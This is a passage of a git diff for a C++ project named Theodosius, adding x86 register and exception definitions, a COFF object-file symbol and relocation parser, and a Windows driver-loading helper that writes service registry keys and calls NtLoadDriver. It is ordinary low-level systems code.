the description in EFLAGS. + */ + uint64_t zero_flag : 1; +#define RFLAGS_ZERO_FLAG_BIT 6 +#define RFLAGS_ZERO_FLAG_FLAG 0x40 +#define RFLAGS_ZERO_FLAG_MASK 0x01 +#define RFLAGS_ZERO_FLAG(_) (((_) >> 6) & 0x01) + + /** + * @brief Sign flag + * + * [Bit 7] See the description in EFLAGS. + */ + uint64_t sign_flag : 1; +#define RFLAGS_SIGN_FLAG_BIT 7 +#define RFLAGS_SIGN_FLAG_FLAG 0x80 +#define RFLAGS_SIGN_FLAG_MASK 0x01 +#define RFLAGS_SIGN_FLAG(_) (((_) >> 7) & 0x01) + + /** + * @brief Trap flag + * + * [Bit 8] See the description in EFLAGS. + */ + uint64_t trap_flag : 1; +#define RFLAGS_TRAP_FLAG_BIT 8 +#define RFLAGS_TRAP_FLAG_FLAG 0x100 +#define RFLAGS_TRAP_FLAG_MASK 0x01 +#define RFLAGS_TRAP_FLAG(_) (((_) >> 8) & 0x01) + + /** + * @brief Interrupt enable flag + * + * [Bit 9] See the description in EFLAGS. + */ + uint64_t interrupt_enable_flag : 1; +#define RFLAGS_INTERRUPT_ENABLE_FLAG_BIT 9 +#define RFLAGS_INTERRUPT_ENABLE_FLAG_FLAG 0x200 +#define RFLAGS_INTERRUPT_ENABLE_FLAG_MASK 0x01 +#define RFLAGS_INTERRUPT_ENABLE_FLAG(_) (((_) >> 9) & 0x01) + + /** + * @brief Direction flag + * + * [Bit 10] See the description in EFLAGS. + */ + uint64_t direction_flag : 1; +#define RFLAGS_DIRECTION_FLAG_BIT 10 +#define RFLAGS_DIRECTION_FLAG_FLAG 0x400 +#define RFLAGS_DIRECTION_FLAG_MASK 0x01 +#define RFLAGS_DIRECTION_FLAG(_) (((_) >> 10) & 0x01) + + /** + * @brief Overflow flag + * + * [Bit 11] See the description in EFLAGS. + */ + uint64_t overflow_flag : 1; +#define RFLAGS_OVERFLOW_FLAG_BIT 11 +#define RFLAGS_OVERFLOW_FLAG_FLAG 0x800 +#define RFLAGS_OVERFLOW_FLAG_MASK 0x01 +#define RFLAGS_OVERFLOW_FLAG(_) (((_) >> 11) & 0x01) + + /** + * @brief I/O privilege level field + * + * [Bits 13:12] See the description in EFLAGS. + */ + uint64_t io_privilege_level : 2; +#define RFLAGS_IO_PRIVILEGE_LEVEL_BIT 12 +#define RFLAGS_IO_PRIVILEGE_LEVEL_FLAG 0x3000 +#define RFLAGS_IO_PRIVILEGE_LEVEL_MASK 0x03 +#define RFLAGS_IO_PRIVILEGE_LEVEL(_) (((_) >> 12) & 0x03) + + /** + * @brief Nested task flag + * + * [Bit 14] See the description in EFLAGS. + */ + uint64_t nested_task_flag : 1; +#define RFLAGS_NESTED_TASK_FLAG_BIT 14 +#define RFLAGS_NESTED_TASK_FLAG_FLAG 0x4000 +#define RFLAGS_NESTED_TASK_FLAG_MASK 0x01 +#define RFLAGS_NESTED_TASK_FLAG(_) (((_) >> 14) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief Resume flag + * + * [Bit 16] See the description in EFLAGS. + */ + uint64_t resume_flag : 1; +#define RFLAGS_RESUME_FLAG_BIT 16 +#define RFLAGS_RESUME_FLAG_FLAG 0x10000 +#define RFLAGS_RESUME_FLAG_MASK 0x01 +#define RFLAGS_RESUME_FLAG(_) (((_) >> 16) & 0x01) + + /** + * @brief Virtual-8086 mode flag + * + * [Bit 17] See the description in EFLAGS. + */ + uint64_t virtual_8086_mode_flag : 1; +#define RFLAGS_VIRTUAL_8086_MODE_FLAG_BIT 17 +#define RFLAGS_VIRTUAL_8086_MODE_FLAG_FLAG 0x20000 +#define RFLAGS_VIRTUAL_8086_MODE_FLAG_MASK 0x01 +#define RFLAGS_VIRTUAL_8086_MODE_FLAG(_) (((_) >> 17) & 0x01) + + /** + * @brief Alignment check (or access control) flag + * + * [Bit 18] See the description in EFLAGS. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint64_t alignment_check_flag : 1; +#define RFLAGS_ALIGNMENT_CHECK_FLAG_BIT 18 +#define RFLAGS_ALIGNMENT_CHECK_FLAG_FLAG 0x40000 +#define RFLAGS_ALIGNMENT_CHECK_FLAG_MASK 0x01 +#define RFLAGS_ALIGNMENT_CHECK_FLAG(_) (((_) >> 18) & 0x01) + + /** + * @brief Virtual interrupt flag + * + * [Bit 19] See the description in EFLAGS. + */ + uint64_t virtual_interrupt_flag : 1; +#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_BIT 19 +#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_FLAG 0x80000 +#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_MASK 0x01 +#define RFLAGS_VIRTUAL_INTERRUPT_FLAG(_) (((_) >> 19) & 0x01) + + /** + * @brief Virtual interrupt pending flag + * + * [Bit 20] See the description in EFLAGS. + */ + uint64_t virtual_interrupt_pending_flag : 1; +#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_BIT 20 +#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_FLAG 0x100000 +#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_MASK 0x01 +#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG(_) (((_) >> 20) & 0x01) + + /** + * @brief Identification flag + * + * [Bit 21] See the description in EFLAGS. + */ + uint64_t identification_flag : 1; +#define RFLAGS_IDENTIFICATION_FLAG_BIT 21 +#define RFLAGS_IDENTIFICATION_FLAG_FLAG 0x200000 +#define RFLAGS_IDENTIFICATION_FLAG_MASK 0x01 +#define RFLAGS_IDENTIFICATION_FLAG(_) (((_) >> 21) & 0x01) + uint64_t reserved4 : 42; + }; + + uint64_t flags; +} rflags; + +/** + * @defgroup exceptions \ + * Exceptions + * @{ + */ + /** + * @brief Exceptions that can occur when the instruction is executed in protected mode. + * Each exception is given a mnemonic that consists of a pound sign (\#) followed by two letters and an optional error code + * in parentheses. For example, \#GP(0) denotes a general protection exception with an error code of 0 + * + * @see Vol2A[3.1.1.13(Protected Mode Exceptions Section)] (reference) + * @see Vol3A[6.3.1(External Interrupts)] (reference) + */ +typedef enum +{ + /** + * #DE - Divide Error. + * Source: DIV and IDIV instructions. + * Error Code: No. + */ + divide_error = 0x00000000, + + /** + * #DB - Debug. + * Source: Any code or data reference. + * Error Code: No. + */ + debug = 0x00000001, + + /** + * Nonmaskable Interrupt. + * Source: Generated externally by asserting the processor's NMI pin or + * through an NMI request set by the I/O APIC to the local APIC. + * Error Code: No. + */ + nmi = 0x00000002, + + /** + * #BP - Breakpoint. + * Source: INT3 instruction. + * Error Code: No. + */ + breakpoint = 0x00000003, + + /** + * #OF - Overflow. + * Source: INTO instruction. + * Error Code: No. + */ + overflow = 0x00000004, + + /** + * #BR - BOUND Range Exceeded. + * Source: BOUND instruction. + * Error Code: No. + */ + bound_range_exceeded = 0x00000005, + + /** + * #UD - Invalid Opcode (Undefined Opcode). + * Source: UD instruction or reserved opcode. + * Error Code: No. + */ + invalid_opcode = 0x00000006, + + /** + * #NM - Device Not Available (No Math Coprocessor). + * Source: Floating-point or WAIT/FWAIT instruction. + * Error Code: No. + */ + device_not_available = 0x00000007, + + /** + * #DF - Double Fault. + * Source: Any instruction that can generate an exception, an NMI, or an INTR. + * Error Code: Yes (zero). + */ + double_fault = 0x00000008, + + /** + * #\## - Coprocessor Segment Overrun (reserved). + * Source: Floating-point instruction. + * Error Code: No. + * + * @note Processors after the Intel386 processor do not generate this exception. + */ + coprocessor_segment_overrun = 0x00000009, + + /** + * #TS - Invalid TSS. + * Source: Task switch or TSS access. + * Error Code: Yes. + */ + invalid_tss = 0x0000000A, + + /** + * #NP - Segment Not Present. + * Source: Loading segment registers or accessing system segments. + * Error Code: Yes. + */ + segment_not_present = 0x0000000B, + + /** + * #SS - Stack Segment Fault. + * Source: Stack operations and SS register loads. + * Error Code: Yes. + */ + stack_segment_fault = 0x0000000C, + + /** + * #GP - General Protection. + * Source: Any memory reference and other protection checks. + * Error Code: Yes. + */ + general_protection = 0x0000000D, + + /** + * #PF - Page Fault. + * Source: Any memory reference. + * Error Code: Yes. + */ + page_fault = 0x0000000E, + + /** + * #MF - Floating-Point Error (Math Fault). + * Source: Floating-point or WAIT/FWAIT instruction. + * Error Code: No. + */ + x87_floating_point_error = 0x00000010, + + /** + * #AC - Alignment Check. + * Source: Any data reference in memory. + * Error Code: Yes. + */ + alignment_check = 0x00000011, + + /** + * #MC - Machine Check. + * Source: Model dependent machine check errors. + * Error Code: No. + */ + machine_check = 0x00000012, + + /** + * #XM - SIMD Floating-Point Numeric Error. + * Source: SSE/SSE2/SSE3 floating-point instructions. + * Error Code: No. + */ + simd_floating_point_error = 0x00000013, + + /** + * #VE - Virtualization Exception. + * Source: EPT violations. + * Error Code: No. + */ + virtualization_exception = 0x00000014, +} exception_vector; + +/** + * @brief When an exception condition is related to a specific segment selector or IDT vector, the processor pushes an + * error code onto the stack of the exception handler (whether it is a procedure or task). The error code resembles a + * segment selector; however, instead of a TI flag and RPL field, the error code contains 3 different flags + * + * @see Vol3A[6.13(ERROR CODE)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bit 0] When set, indicates that the exception occurred during delivery of an event external to the program, such as an + * interrupt or an earlier exception. The bit is cleared if the exception occurred during delivery of a software interrupt + * (INT n, INT3, or INTO). + */ + uint32_t external_event : 1; +#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_BIT 0 +#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_FLAG 0x01 +#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_MASK 0x01 +#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] When set, indicates that the index portion of the error code refers to a gate descriptor in the IDT; when clear, + * indicates that the index refers to a descriptor in the GDT or the current LDT. + */ + uint32_t descriptor_location : 1; +#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_BIT 1 +#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_FLAG 0x02 +#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_MASK 0x01 +#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Only used when the IDT flag is clear. When set, the TI flag indicates that the index portion of the error code + * refers to a segment or gate descriptor in the LDT; when clear, it indicates that the index refers to a descriptor in the + * current GDT. + */ + uint32_t gdt_ldt : 1; +#define EXCEPTION_ERROR_CODE_GDT_LDT_BIT 2 +#define EXCEPTION_ERROR_CODE_GDT_LDT_FLAG 0x04 +#define EXCEPTION_ERROR_CODE_GDT_LDT_MASK 0x01 +#define EXCEPTION_ERROR_CODE_GDT_LDT(_) (((_) >> 2) & 0x01) + + /** + * [Bits 15:3] The segment selector index field provides an index into the IDT, GDT, or current LDT to the segment or gate + * selector being referenced by the error code. In some cases the error code is null (all bits are clear except possibly + * EXT). A null error code indicates that the error was not caused by a reference to a specific segment or that a null + * segment selector was referenced in an operation. + * + * @note The format of the error code is different for page-fault exceptions (#PF). + */ + uint32_t index : 13; +#define EXCEPTION_ERROR_CODE_INDEX_BIT 3 +#define EXCEPTION_ERROR_CODE_INDEX_FLAG 0xFFF8 +#define EXCEPTION_ERROR_CODE_INDEX_MASK 0x1FFF +#define EXCEPTION_ERROR_CODE_INDEX(_) (((_) >> 3) & 0x1FFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; +} exception_error_code; + +/** + * @brief Page fault exception + * + * @see Vol3A[4.7(PAGE-FAULT EXCEPTIONS)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bit 0] This flag is 0 if there is no translation for the linear address because the P flag was 0 in one of the + * pagingstructure entries used to translate that address. + */ + uint32_t present : 1; +#define PAGE_FAULT_EXCEPTION_PRESENT_BIT 0 +#define PAGE_FAULT_EXCEPTION_PRESENT_FLAG 0x01 +#define PAGE_FAULT_EXCEPTION_PRESENT_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] If the access causing the page-fault exception was a write, this flag is 1; otherwise, it is 0. This flag + * describes the access causing the page-fault exception, not the access rights specified by paging. + */ + uint32_t write : 1; +#define PAGE_FAULT_EXCEPTION_WRITE_BIT 1 +#define PAGE_FAULT_EXCEPTION_WRITE_FLAG 0x02 +#define PAGE_FAULT_EXCEPTION_WRITE_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If a user-mode access caused the page-fault exception, this flag is 1; it is 0 if a supervisor-mode access did + * so. This flag describes the access causing the page-fault exception, not the access rights specified by paging. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint32_t user_mode_access : 1; +#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_BIT 2 +#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_FLAG 0x04 +#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] This flag is 1 if there is no translation for the linear address because a reserved bit was set in one of the + * pagingstructure entries used to translate that address. (Because reserved bits are not checked in a paging-structure + * entry whose P flag is 0, bit 3 of the error code can be set only if bit 0 is also set). Bits reserved in the + * paging-structure entries are reserved for future functionality. Software developers should be aware that such bits may + * be used in the future and that a paging-structure entry that causes a page-fault exception on one processor might not do + * so in the future. + */ + uint32_t reserved_bit_violation : 1; +#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_BIT 3 +#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_FLAG 0x08 +#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] This flag is 1 if (1) the access causing the page-fault exception was an instruction fetch; and (2) either (a) + * CR4.SMEP = 1; or (b) both (i) CR4.PAE = 1 (either PAE paging or 4-level paging is in use); and (ii) IA32_EFER.NXE = 1. + * Otherwise, the flag is 0. This flag describes the access causing the page-fault exception, not the access rights + * specified by paging. + */ + uint32_t execute : 1; +#define PAGE_FAULT_EXCEPTION_EXECUTE_BIT 4 +#define PAGE_FAULT_EXCEPTION_EXECUTE_FLAG 0x10 +#define PAGE_FAULT_EXCEPTION_EXECUTE_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_EXECUTE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] This flag is 1 if (1) IA32_EFER.LMA = CR4.PKE = 1; (2) the access causing the page-fault exception was a data + * access; (3) the linear address was a user-mode address with protection key i; and (5) the PKRU register is such that + * either (a) ADi = 1; or (b) the following all hold: (i) WDi = 1; (ii) the access is a write access; and (iii) either + * CR0.WP = 1 or the access causing the page-fault exception was a user-mode access. + * + * @see Vol3A[4.6.2(Protection Keys)] + */ + uint32_t protection_key_violation : 1; +#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_BIT 5 +#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_FLAG 0x20 +#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION(_) (((_) >> 5) & 0x01) + uint32_t reserved1 : 9; + + /** + * [Bit 15] This flag is 1 if the exception is unrelated to paging and resulted from violation of SGX-specific + * access-control requirements. Because such a violation can occur only if there is no ordinary page fault, this flag is + * set only if the P flag (bit 0) is 1 and the RSVD flag (bit 3) and the PK flag (bit 5) are both 0. + */ + uint32_t sgx : 1; +#define PAGE_FAULT_EXCEPTION_SGX_BIT 15 +#define PAGE_FAULT_EXCEPTION_SGX_FLAG 0x8000 +#define PAGE_FAULT_EXCEPTION_SGX_MASK 0x01 +#define PAGE_FAULT_EXCEPTION_SGX(_) (((_) >> 15) & 0x01) + uint32_t reserved2 : 16; + }; + + uint32_t flags; +} page_fault_exception; + +/** + * @} + */ + + /** + * @defgroup memory_type \ + * Memory caching type + * + * The processor allows any area of system memory to be cached in the L1, L2, and L3 caches. In individual pages or regions + * of system memory, it allows the type of caching (also called memory type) to be specified. + * + * @see Vol3A[11.11(MEMORY TYPE RANGE REGISTERS (MTRRS))] + * @see Vol3A[11.5(CACHE CONTROL)] + * @see Vol3A[11.3(METHODS OF CACHING AVAILABLE)] (reference) + * @{ + */ + /** + * @brief Strong Uncacheable (UC) + * + * System memory locations are not cached. All reads and writes appear on the system bus and are executed in program order + * without reordering. No speculative memory accesses, pagetable walks, or prefetches of speculated branch targets are + * made. This type of cache-control is useful for memory-mapped I/O devices. When used with normal RAM, it greatly reduces + * processor performance. + */ +#define MEMORY_TYPE_UNCACHEABLE 0x00000000 + + /** + * @brief Write Combining (WC) + * + * System memory locations are not cached (as with uncacheable memory) and coherency is not enforced by the processor's bus + * coherency protocol. Speculative reads are allowed. Writes may be delayed and combined in the write combining buffer (WC + * buffer) to reduce memory accesses. If the WC buffer is partially filled, the writes may be delayed until the next + * occurrence of a serializing event; such as, an SFENCE or MFENCE instruction, CPUID execution, a read or write to + * uncached memory, an interrupt occurrence, or a LOCK instruction execution. This type of cache-control is appropriate for + * video frame buffers, where the order of writes is unimportant as long as the writes update memory so they can be seen on + * the graphics display. This memory type is available in the Pentium Pro and Pentium II processors by programming the + * MTRRs; or in processor families starting from the Pentium III processors by programming the MTRRs or by selecting it + * through the PAT. + * + * @see Vol3A[11.3.1(Buffering of Write Combining Memory Locations)] + */ +#define MEMORY_TYPE_WRITE_COMBINING 0x00000001 + + /** + * @brief Write-through (WT) + * + * Writes and reads to and from system memory are cached. Reads come from cache lines on cache hits; read misses cause + * cache fills. Speculative reads are allowed. All writes are written to a cache line (when possible) and through to system + * memory. When writing through to memory, invalid cache lines are never filled, and valid cache lines are either filled or + * invalidated. Write combining is allowed. This type of cache-control is appropriate for frame buffers or when there are + * devices on the system bus that access system memory, but do not perform snooping of memory accesses. It enforces + * coherency between caches in the processors and system memory. + */ +#define MEMORY_TYPE_WRITE_THROUGH 0x00000004 + + /** + * @brief Write protected (WP) + * + * Reads come from cache lines when possible, and read misses cause cache fills. Writes are propagated to the system bus + * and cause corresponding cache lines on all processors on the bus to be invalidated. Speculative reads are allowed. This + * memory type is available in processor families starting from the P6 family processors by programming the MTRRs. + */ +#define MEMORY_TYPE_WRITE_PROTECTED 0x00000005 + + /** + * @brief Write-back (WB) + * + * Writes and reads to and from system memory are cached. Reads come from cache lines on cache hits; read misses cause + * cache fills. Speculative reads are allowed. Write misses cause cache line fills (in processor families starting with the + * P6 family processors), and writes are performed entirely in the cache, when possible. Write combining is allowed. The + * write-back memory type reduces bus traffic by eliminating many unnecessary writes to system memory. Writes to a cache + * line are not immediately forwarded to system memory; instead, they are accumulated in the cache. The modified cache + * lines are written to system memory later, when a write-back operation is performed. Write-back operations are triggered + * when cache lines need to be deallocated, such as when new cache lines are being allocated in a cache that is already + * full. They also are triggered by the mechanisms used to maintain cache consistency. This type of cache-control provides + * the best performance, but it requires that all devices that access system memory on the system bus be able to snoop + * memory accesses to insure system memory and cache coherency. + */ +#define MEMORY_TYPE_WRITE_BACK 0x00000006 + + /** + * @brief Uncacheable (UC-) + * + * Has same characteristics as the strong uncacheable (UC) memory type, except that this memory type can be overridden by + * programming the MTRRs for the WC memory type. This memory type is available in processor families starting from the + * Pentium III processors and can only be selected through the PAT. + */ +#define MEMORY_TYPE_UNCACHEABLE_MINUS 0x00000007 +#define MEMORY_TYPE_INVALID 0x000000FF + /** + * @} + */ + + /** + * @} + */ + diff --git a/Theodosius/linker/linker.cpp b/Theodosius/linker/linker.cpp new file mode 100644 index 0000000..fc3f285 --- /dev/null +++ b/Theodosius/linker/linker.cpp @@ -0,0 +1,197 @@ +#include "linker.hpp" + +namespace lnk +{ + auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + const auto symbol_table = + reinterpret_cast( + coff_header->PointerToSymbolTable + obj.data()); + + std::uint32_t result = + section_headers[sym.section_number - 1].SizeOfRawData; + + // loop over all symbols in this object... + // find the next symbol inside of the same section... + for (auto idx = 0u; idx < coff_header->NumberOfSymbols; ++idx) + if (symbol_table[idx].SectionNumber == sym.section_number) + if (symbol_table[idx].Value > sym.section_offset && symbol_table[idx].Value < result) + result = symbol_table[idx].Value; + + return result - sym.section_offset; + } + + namespace section + { + auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + for (auto idx = 0u; idx < coff_header->NumberOfSections; ++idx) + if (!strncmp((char*)section_headers[idx].Name, section_name, strlen(section_name) - 1)) + return section_headers + idx; + + return {}; + } + + auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + for (auto idx = 0u; idx < coff_header->NumberOfSections; ++idx) + if (!callback(section_headers + idx, obj)) + break; + } + } + + namespace sym + { + auto get_relocs(obj_buffer_t& obj) -> std::vector + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + const auto symbol_table = + reinterpret_cast( + coff_header->PointerToSymbolTable + obj.data()); + + const auto string_table = + reinterpret_cast( + reinterpret_cast(symbol_table) + + (coff_header->NumberOfSymbols * sizeof IMAGE_SYMBOL)); + + std::vector result; + for (auto idx = 0u; idx < coff_header->NumberOfSections; ++idx) + { + if (section_headers[idx].PointerToRelocations) + { + // for some reason the compiler makes some empty sections... + if (!section_headers[idx].SizeOfRawData) + continue; + + // skip over sections that we will not be using... + if (section_headers[idx].Characteristics & IMAGE_SCN_LNK_REMOVE) + continue; + + // skip over discardable sections... + if (section_headers[idx].Characteristics & IMAGE_SCN_MEM_DISCARDABLE) + continue; + + // skip both the .pdata and the .xdata sections... these are used for exceptions... + if (!strncmp((char*)section_headers[idx].Name, ".pdata", strlen(".pdata") - 1)) + continue; + + if (!strncmp((char*)section_headers[idx].Name, ".xdata", strlen(".xdata") - 1)) + continue; + + const auto reloc_dir = + reinterpret_cast( + section_headers[idx].PointerToRelocations + obj.data()); + + for (auto reloc_idx = 0u; reloc_idx < + section_headers[idx].NumberOfRelocations; ++reloc_idx) + { + image_reloc_t entry; + entry.file_offset = + reloc_dir[reloc_idx].VirtualAddress + + section_headers[idx].PointerToRawData; + + if (symbol_table[reloc_dir[reloc_idx].SymbolTableIndex].N.Name.Short) + entry.resolve_symbol_name = + std::string((char*)symbol_table[reloc_dir[ + reloc_idx].SymbolTableIndex].N.ShortName); + else + entry.resolve_symbol_name = std::string( + string_table + symbol_table[reloc_dir[ + reloc_idx].SymbolTableIndex].N.Name.Long); + + entry.type = reloc_dir[reloc_idx].Type; + result.push_back(entry); + } + } + } + return result; + } + + auto get_all(obj_buffer_t& obj) -> std::vector + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + const auto symbol_table = + reinterpret_cast( + coff_header->PointerToSymbolTable + obj.data()); + + const auto string_table = + reinterpret_cast( + reinterpret_cast(symbol_table) + + (coff_header->NumberOfSymbols * sizeof IMAGE_SYMBOL)); + + std::vector result; + for (auto idx = 0u; idx < coff_header->NumberOfSymbols; ++idx) + { + // skip section symbols... we only want + // .data, .rdata, and executable (function) symbols... + if (symbol_table[idx].StorageClass != IMAGE_SYM_CLASS_EXTERNAL + || !symbol_table[idx].SectionNumber) + { + if (symbol_table[idx].NumberOfAuxSymbols) + idx += symbol_table[idx].NumberOfAuxSymbols; + + continue; + } + + symbol_t symbol; + if (symbol_table[idx].N.Name.Short) + symbol.symbol_name = + std::string((char*)symbol_table[idx].N.ShortName); + else + symbol.symbol_name = + std::string(string_table + + symbol_table[idx].N.Name.Long); + + if (symbol_table[idx].NumberOfAuxSymbols) + ++idx; + + symbol.file_offset = section_headers[symbol_table[ + idx].SectionNumber - 1].PointerToRawData + symbol_table[idx].Value; + + symbol.section_number = symbol_table[idx].SectionNumber; + symbol.section_offset = symbol_table[idx].Value; + symbol.type = symbol_table[idx].Type; + symbol.size = get_symbol_size(symbol, obj); + + if (symbol_table[idx].NumberOfAuxSymbols) + idx += symbol_table[idx].NumberOfAuxSymbols; + + result.push_back(symbol); + } + return result; + } + } +} \ No newline at end of file diff --git a/Theodosius/linker/linker.hpp b/Theodosius/linker/linker.hpp new file mode 100644 index 0000000..2b13564 --- /dev/null +++ b/Theodosius/linker/linker.hpp @@ -0,0 +1,63 @@ +#pragma once +#include +#include +#include +#include + +namespace lnk +{ + struct symbol_t + { + // name of the symbol... not mangled... + std::string symbol_name; + + // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation + std::uint32_t type; + + // what section this symbol is in... + std::uint32_t section_number; + + // offset into section... + std::uint32_t section_offset; + + // file offset into OBJ file... + std::uint32_t file_offset; + + // virtual address of symbol once mapped into memory... + std::uintptr_t virt_addr; + + // only used by functions... size in bytes of routine... + std::uint32_t size; + }; + + // redef of IMAGE_RELOCATION so that "VirtualAddress" + // will actually be a file offset instead of a section offset... + struct image_reloc_t + { + // name of the symbol to be resolved for example "ExAllocatePool"... + std::string resolve_symbol_name; + + // offset into the obj file where the resolving needs to be done... + std::uint32_t file_offset; + + // type of data that needs to be resolved... this will be 64bit addresses... + // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators + std::uint16_t type; + }; + + using obj_buffer_t = std::vector; + auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t; + + namespace sym + { + auto get_all(obj_buffer_t& obj) -> std::vector; + auto get_relocs(obj_buffer_t& obj)->std::vector; + } + + namespace section + { + using section_callback_t = std::function; + auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER; + auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void; + } +} \ No newline at end of file diff --git a/Theodosius/loadup.hpp b/Theodosius/loadup.hpp new file mode 100644 index 0000000..d20246b --- /dev/null +++ b/Theodosius/loadup.hpp @@ -0,0 +1,263 @@ +/* + MIT License + + Copyright (c) 2020 xerox + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. +*/ + + +#pragma once +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "ntdll.lib") +extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING); +extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING); + +namespace driver +{ + namespace util + { + inline auto delete_service_entry(const std::string& service_name) -> bool + { + HKEY reg_handle; + static const std::string reg_key("System\\CurrentControlSet\\Services\\"); + + auto result = RegOpenKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && + ERROR_SUCCESS == RegCloseKey(reg_handle);; + } + + inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool + { + HKEY reg_handle; + std::string reg_key("System\\CurrentControlSet\\Services\\"); + reg_key += service_name; + + auto result = RegCreateKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t type_value = 1; + result = RegSetValueExA( + reg_handle, + "Type", + NULL, + REG_DWORD, + &type_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t error_control_value = 3; + result = RegSetValueExA( + reg_handle, + "ErrorControl", + NULL, + REG_DWORD, + &error_control_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t start_value = 3; + result = RegSetValueExA( + reg_handle, + "Start", + NULL, + REG_DWORD, + &start_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + result = RegSetValueExA( + reg_handle, + "ImagePath", + NULL, + REG_SZ, + (std::uint8_t*)drv_path.c_str(), + drv_path.size() + ); + + if (result != ERROR_SUCCESS) + return false; + + return ERROR_SUCCESS == RegCloseKey(reg_handle); + } + + inline auto enable_privilege(const std::wstring& privilege_name) -> bool + { + HANDLE token_handle = nullptr; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) + return false; + + LUID luid{}; + if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) + return false; + + 